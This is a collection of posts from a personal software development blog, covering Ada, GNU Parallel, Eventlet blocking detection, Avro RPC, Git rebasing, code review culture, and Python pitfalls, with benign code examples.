unethical blogger - Software Development

S.A.D. - Seasonal Ada Disorder

R. Tyler Croy — Mon, 24 Jan 2011 15:00:00 +0000

Last Sunday, I announced the "0.1" release of my memcache-ada project on comp.lang.ada, thus ending a 2 month experiment with the Ada programming language.

In my previous post on the topic, I mentioned some of the things that interested me with regards to Ada and while I didn't use all the concepts that make Ada a powerful language, I can now confidentally say that I know enough to be dangerous (not much more though).

This is what my coworkers thought of me, learning Ada.

All said and done I spent less than two months off and on creating memcache-ada, mostly on my morning and evening commutes. The exercise of beginning and ending my day with a language which tends to be incredibly strict was interesting to say the least. Due to the lack of an REPL such as Python's, I found myself writing more and more unit and integration tests to get a feel for the language and the behavior of my library. Due to my "fluency" in Python, I tend to think in Python when scratching out code, similar to how a native speaker of a language will write or speak "from the hip" instead of doing large amount of mental work to construct statements. With Ada, not only am I not yet "fluent", the langauge won't let me get away with as much as Python allows me.

The overhead of writing Ada, in my opinion, is a double-edged sword, I can very quickly informally test, debug and rewrite Python but with Ada such a process is (in my opinion) onerous. My 20 minute walk to the train station would be spent contemplating how and what I wanted to write and where. By the time I sat down on the train, I had thought out and designed things internally, so I would immediately write out tests around my ideas and assumptions before writing code to pass the tests. The time spent writing code was minimal since I rarely had to rewrite code, I can think of only one function that had to be rewritten after it had passed tests (botched some socket reading) in the whole project.

I'm not yet sure what will be my next project in Ada, I am certain that I don't want to build anything of consequence in C again. Working with a language, like C, that not only gives you the rope with which to hang yourself but will often times push you off the chair is more masochism than I feel comfortable with these days. Ada on the other hand will allow you to hang yourself, but it'll make damn certain that have the perseverence to go through with it. Frankly, I don't have that kind of drive to really shoot myself in the foot anymore. I want to build software that works with a language that doesn't want to make me suffer, which means I'll be in a weird Ada + Python love triangle until future notice.

Ada? Surely you jest Mr. Pythonman

R. Tyler Croy — Mon, 06 Dec 2010 15:00:00 +0000

The past couple weeks I've been spending my BART commutes learning the Ada programming language. Prior to starting to research Ada, I sat in my office frustrated with Python for my free time hackery. Don't get me wrong, I love the Python language, I have enjoyed the ease of use, dynamic model, rapid prototyping and expressiveness of the Python language, I just fall into slumps occasionally where some of Python's "quirks" utterly infuriating. Quirks such as its loosey-goosey type system (which I admittedly take advantage of often), lack of good concurrency in the language, import subsystem which has driven lesser men mad and its difficulty in scaling organically for larger projects (I've not yet seen a large Python codebase that hasn't been borderline "clusterfuck".)

Before you whip out the COBOL and Fortran jokes, I'd like to let it known up front that Ada is a modern language (as I mentioned on reddit, the first Ada specification was in 1983, 11 years after C debuted, and almost 30 years after COBOL and Fortran were designed). It was most recently updated with the "Ada 2005" revision and supports a lot of the concepts one expects from modern programming languages. For me, Ada has two strong-points that I find attractive: extra-strong typing and built-in concurrency.

Incredibly strong typing

The typing in Ada is unlike anything I've ever worked with before, coming from a C-inspired languages background. Whereas one might use the plus sign operator in Python to add an int and a float together without an issue, in Ada there's literally zero auto-casting (as far as I've learned) between types. To the inexperienced user (read: me) this might seem annoying at first, but it's fundamental to Ada's underlying philosophy of "no assumptions." If you're passing an Integer into a procedure that expects a Float, there will be no casting, the statement will error at compile time.

Concurrency built-in

Unlike C, Java, Objective-C and Python (languages I've used before), Ada has concurrency defined as part of the language, as opposed to an abstraction on top of an OS level library (pthreads). In Ada this concept is called "tasking" which allows for building easily concurrent applications. Unlike OS level bindings built on top of pthreads (for example) Ada provides built in mechanisms for communicating between "tasks" called "rendezvous" along with scheduling primitives.

Being able to define a "task" as this concurrent execution unit that uses this rendezvous feature to provide "entries" to communicate with it is something I still haven't wrapped my head around to be honest. The idea of a language where concurrency is a core component is so new to me I'm not sure how much I can do with it.

For my first "big" project with Ada, I've been tinkering with a memcached client in Ada which will give me the opportunity to learn some Ada fundamentals before I step on to bigger projects. Disregarding the condescending jeers from other programmers who one could classify as "leet Django haxxorz", I've been enjoying the experience of learning a new vastly different language than one that I've tried before.

So stop picking on me you big meanies :(

GNU/Parallel changed my life

R. Tyler Croy — Thu, 11 Nov 2010 17:48:32 +0000

Over the past month or so I've fallen in love with an incredibly simple command line tool: GNU/Parallel. Parallel has more or less replaced my use of xargs when piping data around on the many machines that I use. Unlike xargs however, Parallel lets me make use of the many cores that I have access to, either on my laptop or the many quad and octocore machines we have lying around the Apture office.

Using Parallel is incredibly easy, in fact the docs enumerate just about every possible incantation of Parallel you might want to use, but starting simple you can just pipe stuff to it:

cat listofthings.txt | parallel --max-procs=8 --group 'echo "Thing: {}"'

The command above will run at most eight concurrent processes and group the output of each of the processes when the entire thing completes, simple and in this case not too much different than running with xargs

With some simple Python scripting, Parallel becomes infinitely more useful:

python generatelist.py | parallel --max-procs=8 --group 'wget "{}" -O - | python processpage.py'

There's not really a whole lot say about GNU/Parallel other than you should use it. I find myself increasingly impatient when a single process takes longer than a couple minutes to complete, so I've been using GNU/Parallel in more and more different ways across almost all the machines that I work on to make things faster and faster. So much so that I've started to pine for a quad-core notebook instead of this weak dual core Thinkpad of mine :)

GNU/Parallel Demo

Unclog the tubes; blocking detection in Eventlet

R. Tyler Croy — Sat, 28 Aug 2010 22:12:07 +0000

Colleagues of mine are all very familiar with my admiration of Eventlet, a Python concurrency library, built on top of greenlet, that provides lightweight "greenthreads" that naturally yield around I/O points. For me, the biggest draw of Eventlet besides its maturity, is how well it integrates with standard Python code. Any code that uses the built-in socket module can be "monkey-patched" (i.e. modified at runtime) to use the "green" version of the socket module which allows Eventlet to turn regular ol' Python into code with asynchronous I/O.

The problem with using libraries like Eventlet, is that some Python code just blocks, meaning that code will hit an I/O point and not yield but instead block the entire process until that network operation completes.

In practical terms, imagine you have a web crawler that uses 10 "green threads", each crawling a different site. The first greenthread (GT1) will send an HTTP request to the first site, then it will yield to GT2 and so on. If each HTTP request blocks for 100ms, that means when crawling the 10 sites, you're going to block the whole process, preventing anything from running, for a whole second. Doesn't sound too terrible, but imagine you've got 1000 greenthreads, instead of everything smoothly yielding from one thread to another the process will lock up very often resulting in painful slowdowns.

Starting with Eventlet 0.9.10 "blocking detection" code has been incorporated into Eventlet to make it far easier for developers to find these portions of code that can block the entire process.

    import eventlet.debug
    eventlet.debug.hub_blocking_detection(True)

While using the blocking detection is fairly simple, its implementation is a bit "magical" in that it's not entirely obvious how it works. The detector is built around signals, inside of Eventlet a signal handler is set up prior to firing some code and then after said code has executed, if a certain time-threshhold has passed, an alarm is raised dumping a stack trace to the console. I'm not entirely convinced I'm explaining this appropriately so here's some pseudo-code:

    def runloop():
        while True:
            signal.alarm(handler, 1)
            execute_next_block()
            if (time.time() - start) < resolution:
                clear_signal() # Clear the signal if we're less than a second, otherwise it will alarm

The blocking detection is a bit crude and can raise false positives if you have bits of code that churn the CPU for longer than a second but it has been instrumental in incorporating non-blocking DNS support into Eventlet, which was also introduced in 0.9.10 (ported over from Slide's gogreen package).

If you are using Eventlet, I highly recommend running your code periodically with blocking detection enabled, it is an invaluable tool for determining whether you're running as fast and as asynchronous as possible. In my case, it has been the difference between web services that are fast in development but slow under heavy stress, and web services that are fast always regardless of load.

Being a Libor, Addendum

R. Tyler Croy — Tue, 18 May 2010 16:00:00 +0000

A couple of weeks ago I wrote a post on how to "Be a Libor", trying to codify a few points I feel like I learned about building a successful engineering team at Slide. Shortly after the post went live, I discovered that Libor had been promoted to CTO at Slide.

Over coffee today Libor offered up some finer points on the post in our discussion about building teams. It is important, according to Libor, to maintain a "mental framework" within which the stack fits; guiding decisions with a consistent world-view or ethos about building on top of the foundation laid. This is not to say that you should solve all problems with the same hammer, but rather if the standard operating procedure is to build small single-purpose utilities, you should not attack a new problem with a giant monolithic uber-application that does thirty different things (hyperbole alert!).

Libor also had a fantastic quote from the conversation with regards to approaching new problems:

Just because there are multiple right answers, doesn't mean there's no wrong answers

Depending on the complexity of the problems you're facing there are likely a number of solutions but you still can get it wrong, particularly if you don't remain consistent with your underlying mental framework for the project/organization.

As usual my discussions with Libor are interesting and enjoyable, he's one of the most capable, thoughtful engineers I know, so I'm interested to see the how Slide Engineering progresses under his careful hand as the new CTO. I hope you join me in wishing him the best of luck in his role, moving from wrangling coroutines, to herding cats.

God speed mooncat

The slow death of the indie mac dev

R. Tyler Croy — Thu, 13 May 2010 16:30:00 +0000

Once upon a time I was a Mac developer. I loved Cocoa, I loved building Mac software, Mac OS X was once upon a time the greatest thing ever. I recall writing posts, and even founding a mailing list in the earlier days of Core Data, which I was using in tandem with Cocoa Bindings, which themselves were almost a black art. I was on a couple of podcasts talking about web services with Cocoa or MacWorld. I loved the Mac platform, and would have gladly rubbed Steve Jobs' feet and thanked him a thousand times for saving Apple from the despair of the late 1990's. As Apple grew, things slowly started to change, and we started to grow apart.

As I started to drift away, I gave a presentation at CocoaHeads presenting some of the changes and improvements to the Windows development stack, not supremely keen on the idea of building Windows applications, I was clearly on the market for "something else". Further and further I drifted, until I eventually traded my MacBook Pro in for a Thinkpad, foregoing any future I might have developing Mac software. My decade long journey of tinkering and learning on Macintosh computers had ended.

When Mac OS X was in it's original Rhapsody-phase, in the weird nether-world between Platinum and Aqua, Apple realized that it had been held back by not giving developers tools to build for the platform. Apple began to push Project Builder which became Xcode, which became the key to the Intel-transition and has helped transform Mac OS from a perennial loser in the third-party software world to a platform offering the absolute best in third-party software. Third-party applications of impressive quality were built and distributed by the "indie mac devs", Adium, Voodoo Pad and Acorn from Flying Meat, Nicecast and Audio Hijack Pro from Rogue Amoeba, FuzzMeasure Pro from SuperMegaUltraGroovy, Growl, NetNewsWire or MarsEdit originally from Brent Simmons (NetNewsWire is now owned by NewsGator, while MarsEdit was acquired by Daniel Jalkut of Red Sweater Software), Yojimbo and BBEdit from BareBones, even Firefox, Camino and Opera filled the gap while Apple pulled Safari out of it's craptastic version 2 series. Applications were used on Mac OS X instead of web applications because the experience was better, faster and integrated with Address Book, iPhoto, Mail.app, iMovie and all of Apple's own stack.

Then came the iPhone, with its "Web SDK" nonsense. The story, at least at the time, was clear to me. Apple didn't care about me. Apple didn't care about its developers. Build a web application using JavaScript and AJAX (a Microsoft innovation, I might add) over AT&T's EDGE network? Fuck you! A number of months later, back-tracking on the "Web SDK" concept, the iPhone SDK came out at WWDC with a ridiculous NDA, forbidding developers from talking about it publicly. Then the App Store was bundled with iTunes and iPhone OS, with Apple becoming the gatekeeper between indie developer, and Joe User. Of course, more recently in the long line of iPhone/developer related tragedies, the infamous Section 3.3.1. There's also some hub-ub about the Apple Design Awards 2010, only focusing on iPhone and iPad apps which is quite disconcerting for indie mac devs, who routinely compete and win awards for the best Mac applications.

The message is clear, Apple wants to completely own users on its platform and sit between developers and their users, dictating terms.

It's no wonder that @rentzsch, a major voice in the indie mac dev community, and organizer of the C4 conference is throwing in the towel on organizing C4 entirely (discussed in this post).

It's not entirely clear whether the "indie mac dev" community will continue to exist for too much longer, there is some speculation that a "Mac App Store" is brewing in Cupertino right now or perhaps modifications to Mac OS X similar to what is present on the iPhone. If I were still part of the "indie mac dev" tribe, I'd feel very nervous right now about what will happen at this year's WWDC, as Dan Wood from Karelia knows, Apple feels no remorse with stomping on Mac developers.

Worst comes to worst, I sincerely invite indie Mac developers to bring their user-experience talent and software-building energy to the weird but exciting world of web software, so long as Google keeps Facebook in check, the web should remain open for a good long while.

How-to: Using Avro with Eventlet

R. Tyler Croy — Fri, 07 May 2010 16:45:00 +0000

Working on the plumbing behind a sufficiently large web application I find myself building services to meet my needs more often than not. Typically I try to build single-purpose services, following in the unix philosophy, cobbling together more complex tools based on a collection of distinct building blocks. In order to connect these services a solid, fast and easy-to-use RPC library is a requirement; enter Avro.

Note: You can skip ahead and just start reading some source code by cloning my eventlet-avro-example repository from GitHub.

Avro is part of the Hadoop project and has two primary components, data serialization and RPC support. Some time ago I chose Avro for serializing all of Apture's metrics and logging information, giving us a standardized framework for recording new events and processing them after the fact. It was not until recently I started to take advantage of Avro's RPC support when building services with Eventlet. I've talked about Eventlet before, but to recap:

Eventlet is a concurrent networking library for Python that allows you to change how you run your code, not how you write it

What this means in practice is that you can write highly concurrent network-based services while keeping the code "synchronous" and easy to follow. Underneath Eventlet is the "greenlet" library which implements coroutines for Python, which allows Eventlet to switch between coroutines, or "green threads" whenever a network call blocks.

Eventlet meets Avro RPC in an unlikely (in my opinion) place: WSGI. Instead of building their own transport layer for RPC calls, Avro sits on top of HTTP for its transport layer, POST'ing binary data to the server and processing the response. Since Avro can sit on top of HTTP, we can use eventlet.wsgi for building a fast, simple RPC server.

Defining the Protocol

The first part of any Avro RPC project should be to define the protocol for RPC calls. With Avro this entails a JSON-formatted specification, for our echo server example, we have the following protocol:

{"protocol" : "AvroEcho",
"namespace" : "rpc.sample.echo",
"doc" : "Protocol for our AVRO echo server",
"types" : [],
"messages" : {
    "echo" : {
        "doc" : "Echo the string back",
        "request" : [
                {"name" : "query", "type" : "string"}
                ],
        "response"  : "string",
        "errors" : ["string"]
    },
    "split" : {
        "doc" : "Split the string in two and echo",
        "request" : [
                {"name" : "query", "type" : "string"}
                ],
        "response"  : "string",
        "errors" : ["string"]
    }
}}

The protocol can be deconstructed into two concrete portions, type definitions and a message enumeration. For our echo server we don't need any complex types, so the types entry is empty. We do have two different messages defined, echo and split. The message definition is a means of defining the actual remote-procedure-call, services supporting this defined protocol will need to send responses for both kinds of messages. For now, the messages are quite simple, they expect a query parameter which should be a string, and are expected to return a string. Simple.

(This is defined in protocol.py in the Git repo)

Implementing a Client

Implementing an Avro RPC client is simple, and the same whether you're building a service with Eventlet or any other Python library so I won't dwell on the subject. A client only needs to build two objects, an "HTTPTransceiver" which can be used for multiple RPC calls and grafts additional logic on top of httplib.HTTPConnection and a "Requestor".

client = avro.ipc.HTTPTransceiver(HOST, PORT)
requestor = avro.ipc.Requestor(protocol.EchoProtocol, client)
response = requestor.request('echo', {'query' : 'Hello World'})

You can also re-use for same Requestor object for multiple messages of the same protocol. The three-line snippet above will send an RPC message echo to the server and then return the response.

(This is elaborated more on in client.py in the Git repo)

Building the server

Building the server to service these Avro RPC messages is the most complicated piece of the puzzle, but it's still remarkably simple. Inside the server.py you will notice that we call eventlet.monkey_patch() at the top of the file. While not strictly necessary inside the server since we're relying on eventlet.wsgifor writing to the socket. Regardless it's a good habit to get into when working with Eventlet, and would be required if our Avro-server was also an Avro-client, sending requests to other services. Focusing on the simple use-case of returning responses from the "echo" and "split" messages, first the WSGI server needs to be created:

listener = eventlet.listen((HOST, PORT))
eventlet.wsgi.server(listener, wsgi_handler)

The wsgi_handler is a function which accepts the environment and start_response arguments (per the WSGI "standard"). For the actually processing of the message, you should refer to the wsgi_handler function in server.py in the example repository.

def wsgi_handler(env, start_response):
    ## Only allow POSTs, which is what Avro should be doing
    if not env['REQUEST_METHOD'] == 'POST':
        start_response('500 Error', [('Content-Type', 'text/plain')])
        return ['Invalid REQUEST_METHOD\r\n']

    ## Pull the avro rpc message off of the POST data in `wsgi.input`
    reader = avro.ipc.FramedReader(env['wsgi.input'])
    request = reader.read_framed_message()
    response = responder.respond(request)

    ## avro.ipc.FramedWriter really wants a file-like object to write out to
    ## but since we're in WSGI-land we'll write to a StringIO and then output the
    ## buffer in a "proper" WSGI manner
    out = StringIO.StringIO()
    writer = avro.ipc.FramedWriter(out)
    writer.write_framed_message(response)

    start_response('200 OK', [('Content-Type', 'avro/binary')])
    return [out.getvalue()]

The only notable quirk with using Avro with a WSGI framework like eventlet.wsgi is that some of Avro's "writer" code expects to be given a raw socket to write a response to, so we give it a StringIO object to write to and return that buffer's contents from wsgi_handler. The wsgi_handler function above is "dumb" insofar that it's simply passing the Avro request object into the "responder" which is responsible for doing the work:

class EchoResponder(avro.ipc.Responder):
    def invoke(self, message, request):
        handler = 'handle_%s' % message.name
        if not hasattr(self, handler):
            raise Exception('I can\'t handle this message! (%s)' % message.name)
        return getattr(self, handler)(message, request)

    def handle_split(self, message, request):
        query = request['query']
        halfway = len(query) / 2
        return query[:halfway]

    def handle_echo(self, message, request):
        return request['query']

All in all, minus comments the server code is around 40 lines and fairly easy to follow (refer to server.py for the complete version). I personally find Avro to be straight-forward enough and enjoyable to work with, being able to integrate it with my existing Eventlet-based stack is just icing on the cake after that.

If you're curious about some of the other work I've been up to with Eventlet, follow me on GitHub :)

Be a Libor

R. Tyler Croy — Fri, 30 Apr 2010 14:45:00 +0000

I reflect occasionally on how I've gotten to where I am right now, specifically to how I made the jump from "just some kid at a Piggly Wiggly in Texas" as Dave once said, to the guy who knows stuff about things. I often think about what pieces of the Slide engineering environment were influential to my personal growth and how I can carry those forward to build as solid an engineering organization at Apture.

The two pillars of engineering at Slide, at least in my naive world-view, were Dave and Libor. I joined Dave's team when I joined Slide, and I left Libor's team when I left Slide. Dave ran the client team, and did exceptionally well at filling a void that existed at Slide bridging engineering prowess with product management. Libor often furrowed his brow and built some of the large distributed systems that gave Slide an edge when dealing with incredible growth. In my first couple years I did my best to emulate Dave, engineers would always vie for Dave's time, asking questions and working through problems until they could return to their desk with the confidence that they understood the forces involved and solve the task at hand. Now that I'm at Apture, I'm trying to emulate Libor.

(Note: I do not intend to idolize either of them, but cite important characteristics)

To understand the Libor role, the phrase "the buck stops here" is useful. A Libor is the end of the line for engineering questions, unlike some organizations the "question-chain-of-command" is not the same as the org-chart. If a problem or question progressed up the stack to a Libor, and between an engineer and a Libor the pair cannot solve the problem, you're screwed.

What does it take to be a Libor you may be thinking: * No Guessing: When acting as a Libor, knowing is crucial. That is not to say you must understand everything about all the nooks and crannies of the code-base, but when you give an answer it is crucial you actually know what the hell you are talking about. The consequences of being wrong are far worst than the consequences of not knowing, if a fellow engineer builds on your guess, when that code ships live in a few days/weeks there is a serious risk of everything falling over.

Grok the stack: A Libor is expected to hold a wealth of information internally, much like a clock maker, a Libor should understand where every single gear and spring fit together in a large complex system. It is not necessary to understand how each component individually works but instead, understand how all the pieces operate in concert. Some amount of acting as a Libor requires direct discussions with the operations team as well as the rest of engineering, when all that JavaScript and Python rolls out to 10, 20, 100, or 1,000 machines, somebody should have at least considered the ramifications of adding 3 more database calls to every request, that's the Libor.
Maintenance and accountability: Typically working at the lower ends of the stack, a Libor has to relive and tolerate last month's and last year's short-sighted decisions over and over. A Libor should not let himself nor colleagues "fire and forget" code, poor judgement will haunt a Libor for much longer than most people's New Year's resolutions. Because of this mistake-longevity, a Libor should be quite concerned with how well thought-out and tested new changes, particularly drastic ones, are.
Focus on Engineering: Code quality and extendability are Libor's primary focus, that is not to say that a Libor's role is to impede product development, but rather ensure that it is properly framed. While a product manager's primary concern may be to get a feature deployed as soon as possible, the primary concern of a Libor is to ensure that once that feature is shipped it doesn't break or otherwise degrade the quality of service of the rest of the site. When interfacing with other engineers a Libor should be asking questions about code, intentions and implementation. Code review is as important as communication with the team, flatly rejecting code is unacceptable, but discussing with engineers the potential pitfalls of certain approaches ensures that the group moves forward.

Playing the Libor character at Apture has been interesting to say the least, I've done a lot of work getting a number of systems in place to help educate my decisions, particularly in our production environment. Focusing on the entire stack as a complex system has allowed us to make some adjustments here and there that have literally started to pay dividends the day after they ship.

Non-engineering also benefits from having a Libor character in the organization, at Apture the product development narrative has changed, I find myself emphasizing:

Tell me what you want, we'll find a way to do it

That's a breakthrough.

A rebase-based workflow

R. Tyler Croy — Fri, 02 Apr 2010 13:00:00 +0000

When I first started working with Git in mid 2008 I was blissfully oblivious to the concept of a "rebase" and why somebody might ever use it. While at Slide we were crazy for merging (see diagram to the right), everything pretty much revolved around merges between branches. To add insult to injury, development revolved around a single central repository which everyone had the ability to push to. Merges compounded upon merges led to a frustratingly complex merge history.

When I first arrived at Apture, we were still using Subversion, similar to Slide when I arrived (I have a Git-effect on companies). In order to work effectively, I had to use git-svn(1) in order to commit changes that weren't quite finished on a day-to-day basis. Rebasing is fundamental to the git-svn(1) workflow, as Subversion requires a linear revision history; I would typically work in the master branch and execute git svn rebase prior to git svn dcommit to ensure that my changes could be properly committed at the head of trunk.

When we finally switched from Subversion to Git we adopted an "integration-manager workflow" which is far more conducive to rebase being useful than the purely centralized repository workflow I had previously used at Slide.

From the Pro Git site

In addition to the publicly readable repositories for each developer, we use Gerrit religiously which I'll cover in a later post.

We use rebase heavily in this workflow to accomplish three main goals:

Linear revision history
Concise commits covering a logical change
Reduction of merge conflicts

Creating a solid linear revision history, while not immediately important, is nicer in the longer term allowing developers (or new hires) to walk the history of a particular file or module and see a clear progression of changes.

Creating concise commits is probably the most important reason to use rebase, when working in a topic branch I will typically commit every 20-40 minutes. In order to not break my flow, the commit messages will typically be brief and cover only a few lines of changes, atomic commits are great when writing code but they're lousy at informing other developers about the changes. To do this, an "interactive rebase" can be used, for example, collapsing the commits in a topic branch ticket-1234 would look like:

git checkout ticket-1234
git rebase -i master

This will bring up an editor with a list of commits, where you can "squash" commits together and re-write the final commit message to be more informative.

The Workflow

For the purposes of the example, let's use the topic branch from above (ticket-1234) which we'll assume has 3 commits unique to it.

Fetch the latest changes from the upstream "master" branch
- git fetch origin
Rebase the topic branch, effectively piling the 3 commits on top of the latest tip of the upstream "master" branch
- git rebase origin/master
Collapse the 3 commits in the topic branch down into one commit
- git rebase -i origin/master
(Later) Bringing those commits down into the "master" branch
- git checkout master && git rebase ticket-1234

With an interactive rebase, you can chop commits up, re-order them, squash them, etc, with the non-interactive rebase you can pile your commits on top of an upstream head making your changes apply cleanly to the latest code in the upstream repository.

git ready has a few nice articles on the subject as well, such as an intro to rebase and an article on squashing commits with rebase

Sometimes Software as a Service Sucks

R. Tyler Croy — Tue, 23 Mar 2010 14:00:00 +0000

Being a big fan of "continuous integration", particularly with Hudson, I've often thought about the possibilities of turning it into a business. It's no surprise really, my first commercial application as a rogue Mac software developer was a product called BuildFactory which, while fun to build, never sold all that many licenses. With the advent of Amazon's EC2 service and the transition of these cloud computing resources into a building block for many businesses, I've long thought about the idea of building "continuous integration as a service."

At face value the idea sounds incredibly fun to build, I'll build a service that integrates with GitHub, Google Code, SourceForge and private source control systems. The end (paying) user would "plug-in" to the "continuous integration grid", they'd work throughout the day, committing code and then the CI grid would pick up those changes, build releases and run tests against a number of different architecture, automatically detecting failures and reporting them back to the developers. It involves some of my favorite challenges in programming:

Scaling up
Efficiently using cycles, and only when needed
Building and testing cross-architecture and cross-platform

Unfortunately, it's a crap business idea, I now have second-hand confirmation from a group of guys who've attempted the concept. The folks behind RunCodeRun are shutting down the service. In the post outlining why they're shutting down, they've hit the nail on the head on why "continuous integration as a service" can never work:

Large scale hosted continuous integration is consumed as a commodity but built as a craft, and the rewards, both emotional and financial, are insufficient to support the effort.

Elaborating further on their point, continuous integration by itself is a relatively basic task: build, test, repeat. The biggest problem with continuous integration as a service however, is that no two projects are alike. My build targets or requirements might be vastly different from project to project, let alone customer to customer, making the amount of tweaking and customization per-job too large such that at some point the only benefit that one derives from such a service is the hosting of the machines to perform the task. If you're just taking care of that, why wouldn't your customers just use Hudson in "the cloud" themselves? The CI grid at that point offers no exceptional value.

As much as I regret letting a fun idea die, I think I'll have to file this one under "To do after becoming so rich I'll care about capital gains taxes."

Programming as an objective art

R. Tyler Croy — Mon, 01 Mar 2010 15:30:00 +0000

Writing software is an outlet for artistic expression to many people, myself included. For me, solving problems involves a good deal of creativity not only in the actual solution but also in the manipulating several moving parts in order to fit the solution into an existing code-base. Combining this creative outlet with a beautiful language, such as Python results in some developers writing code that holds an masterpiece-level of beauty to them, to the untrained eye one might look at a class and think nothing of it, but to the author of that code, it might represent a substantial amount of work and personal investment.

Like art, sometimes the beauty is entirely subjective. there has been times where I've been immensely pleased with one of my creations, only to turn to wholly unimpressed Dave. Managing or working with any team of highly motivated, passionate and creative developers presents this problem, as a group: how can you objectively judge code while preserving the sense of ownership by the author? The first step to objectively judging code in my opinion, is to separate it from the individual who wrote it when discussing the code. For a lot of people this is easier said than done, particularly for younger engineers like myself. Younger engineers tend to have "more to prove" and are thereby far more emotionally invested in the code that they write, while older engineers whether by experience or simply by having written more code than their younger counterparts are able to distance themselves emotionally more easily from the code that they write. Not to say older engineers aren't emotionally invested in their work, in my experience they typically are, it's just a matter being better at picking battles.

Code review is a common sticking point for a lot of engineers, it's incredibly important for both parties in a code review to judge the code objectively, if you are not, a code review can result in hurt feelings and resentment, personal differences bubbling up to the surface in a venue they don't belong in. I think it's immensely important to refer to code as an entity unto itself once a code review starts, phrases like "your code" are a major taboo. Separating the person who wrote the code from the code itself can help both the reviewer but also the original author of the code look at the changes in an objective light. "The code is overly complicated when all it should be doing is X." "The patch doesn't appropriately account for condition Y, which can happen if Z." With a change in semantics, the conversation changes from one developer judging another's work, to two developers objectively discussing whether or not the desired goal has been acheived with minimal downside. (Note: I'm presuming "proper code review" is being performed, devoid of nitpicking on minor style differences) You will find behavior like this in many successful open source projects that make heavy use of code review, the Git project comes to mind. When patches are posted to the mailing list, their merits are discussed as a separate entity, separated from the original author.

This same strategy of separating the individual from the code should also be applied to bugs in the code. When using git-blame(1) for example, there is a tendency to look at who authored the change, seek them out and pummel them with a herring. In a smaller team dynamic, as well as an open source environment, pinning "ownership" of a bug to a particular person is entirely non-constructive. Publicly citing and referencing somebody else's mistake does nothing other than hurt that individual's ego. The important part to refer to with git-blame(1) is the commit hash, and nothing else. With the conversation changed from "Jacob introduced a bug that causes X" into "Commit ff612a introduces a bug that causes X" those involved can then look at the code, and determine what about that code causes the issue. For simpler bugs the original author will typically pipe up with "Whoops, forgot about X, here's a fix" but there are also cases where the original author didn't know about the implications of the change, had no means of testing for X, or the bug was caused by another change the original author wasn't privvy to. If the code is not separate from the individual, those latter cases can be tension points between developers that need not exist, making it all the more important (especially in small teams) to discuss changes openly and objectively.

With code decoupled from the author himself, how does the author maintain that same sense of pride and ownership? The original author should be charge with making any changes that arise out of a code review (naturally) but also should maintain responsibility for that portion of code moving forward; this added responsibility ensures less "fire and forget" changes and adds more pressure on the code reviews to yield improvements to the stability and readability of new code.

As soon as more than one developer is working on a project, it becomes increasingly important to recognize the difference between the "works of art" and the artist himself. The ceilings of the Sistine Chapel are an incredible piece of art, not because they were painted by Michelangelo. Writing code should be no different, the art is not the artist and vice versa.

Pyrage: Static isn't just something on the radio

R. Tyler Croy — Fri, 26 Feb 2010 13:45:00 +0000

Dealing with statics in Python is something that has bitten me enough times that I have become quite pedantic about them when I see them. I'm sure you're thinking "But Dr. Tyler, Python is a dynamic language!", it is indeed, but that does not mean there aren't static variables.

The funny thing about static variables in Python, in my opinion, once you understand a bit about scoping and what you're dealing with, it makes far more sense. Let's take this static class variable for example:

>>> class Foo(object):
...   my_list = []
... 
>>> f = Foo()
>>> b = Foo()

You're trying to be clever, defining your class variables with their default variables outside of your __init__ function, understandable, unless you ever intend on mutating that variable.

>>> f.my_list.append('O HAI')
>>> print b.my_list
['O HAI']
>>>

Still feeling clever? If that's what you wanted, I bet you do, but if you wanted each class to have its own internal list you've inadvertantly introduced a bug where any and every time something mutates my_list, it will change for every single instance of Foo. The reason that this occurs is because my_list is tied to the class object Foo and not the instance of the Foo object (f or b). In effect f.__class__.my_list and b.__class__.my_list are the same object, in fact, the __class__ objects of both those instances is the same as well.

>>> id(f.__class__)
7680112
>>> id(b.__class__)
7680112

When using default/optional parameters for methods you can also run afoul of statics in Python, for example:

>>> def somefunc(data=[]):
...    data.append(1)
...    print ('data', data)
... 
>>> somefunc()
('data', [1])
>>> somefunc()
('data', [1, 1])
>>> somefunc()
('data', [1, 1, 1])
>>>

This comes down to a scoping issue as well, functions and methods in Python are first-class objects. In this case, you're adding the variable data to the somefunc.func_defaults tuple, which is being mutated when the function is being called. Bad programmer!

It all seems simple enough, but I still consistently see these mistakes in plenty of different Python projects (both pony-affiliated, and not). When these bugs strike they're difficult to spot, frustrating to deal with ("who the hell is changing my variable!") and most importantly, easily prevented with a little understanding of how Python scoping works.

PYRAGE!

Supporting Python 3 is a Ghetto

R. Tyler Croy — Sun, 21 Feb 2010 23:02:28 +0000

In my spurious free time I maintain a few Python modules (py-yajl, Cheetah, PyECC) and am semi-involved in a couple others (Django, Eventlet), only one of which properly supports Python 3. For the uninitiated, Python 3 is a backwards incompatible progression of the Python language and CPython implementation thereof, it's represented significant challenges for the Python community insofar that supporting Python 2.xx, which is in wide deployment, and Python 3.xx simultaneously is difficult.

As it stands now my primary development environment is Python 2.6 on Linux/amd64, which means I get to take advantage of some of the nice things that were added to Python 3 and then back-ported to Python 2.6/2.7. Regular readers know about my undying love for Hudson, a Java-based continuous integration server, which I use to test and build all of the Python projects that I work on. While working this weekend I noticed that one of my C-based projects (py-yajl) was failing to link properly on Python 2.4 and 2.5. It might be easy to cut-off support for Python 2.4, which was first released over four years ago, there are still a number of heavy users of 2.4 (such as Slide), in fact it's still the default /usr/bin/python on Red Hat Enterprise Linux 5. What makes this C-based module special, is that thanks to Travis, it runs properly on Python 3.1 as well. Since the Python C-API has been fairly stable through the 2 series into Python 3, maintaining a C-based module that supports multiple versions of Python.

In this case, it's as easy as some simple pre-processor definitions:

#if PY_MAJOR_VERSION >= 3
#define IS_PYTHON3
#endif

Which I can use further down the line to modify the handling some of the minor internal changes for Python 3:

#ifdef IS_PYTHON3
    result = _internal_decode((_YajlDecoder *)decoder, PyBytes_AsString(bufferstring),
                PyBytes_Size(bufferstring));
    Py_XDECREF(bufferstring);
#else
    result = _internal_decode((_YajlDecoder *)decoder, PyString_AsString(buffer),
                  PyString_Size(buffer));
#endif

Not particularly pretty but it gets the job done, supporting all major versions of Python.

Python on Python

Writing modules in C is fun, can give you pretty good performance, but is not something you would want to do with a large package like Django (for example). Python is the language we all know and love to work with, a much more pleasant language to work with than C. If you build packages in pure Python, those packages have a much better chance running on top of IronPython or Jython, and the entire Python ecosystem is better for it.

